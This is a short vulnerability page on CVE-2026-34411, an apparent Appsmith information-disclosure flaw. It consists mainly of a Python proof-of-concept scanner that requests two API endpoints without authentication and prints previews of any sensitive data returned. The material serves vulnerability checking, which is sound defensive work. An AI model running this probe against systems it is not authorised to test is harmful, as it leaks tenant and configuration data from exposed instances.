CVE-2026-34411 Appsmith敏感信息泄露漏洞

import requests def check_vulnerability(target_base_url): """ Checks if the target Appsmith instance is vulnerable to CVE-2026-34411. Attempts to access sensitive management endpoints without authentication. """ vulnerable_endpoints = [ "/api/v1/consolidated-api/view", "/api/v1/tenants/current" ] headers = { "User-Agent": "CVE-2026-34411-Scanner/1.0" } print(f"[+] Checking target: {target_base_url}") for endpoint in vulnerable_endpoints: url = f"{target_base_url.rstrip('/')}{endpoint}" try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[!] VULNERABLE: Sensitive data disclosed at {url}") print(f" Response Preview: {response.text[:200]}...") else: print(f"[-] Status {response.status_code} for {url}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to {url}: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:80" check_vulnerability(target)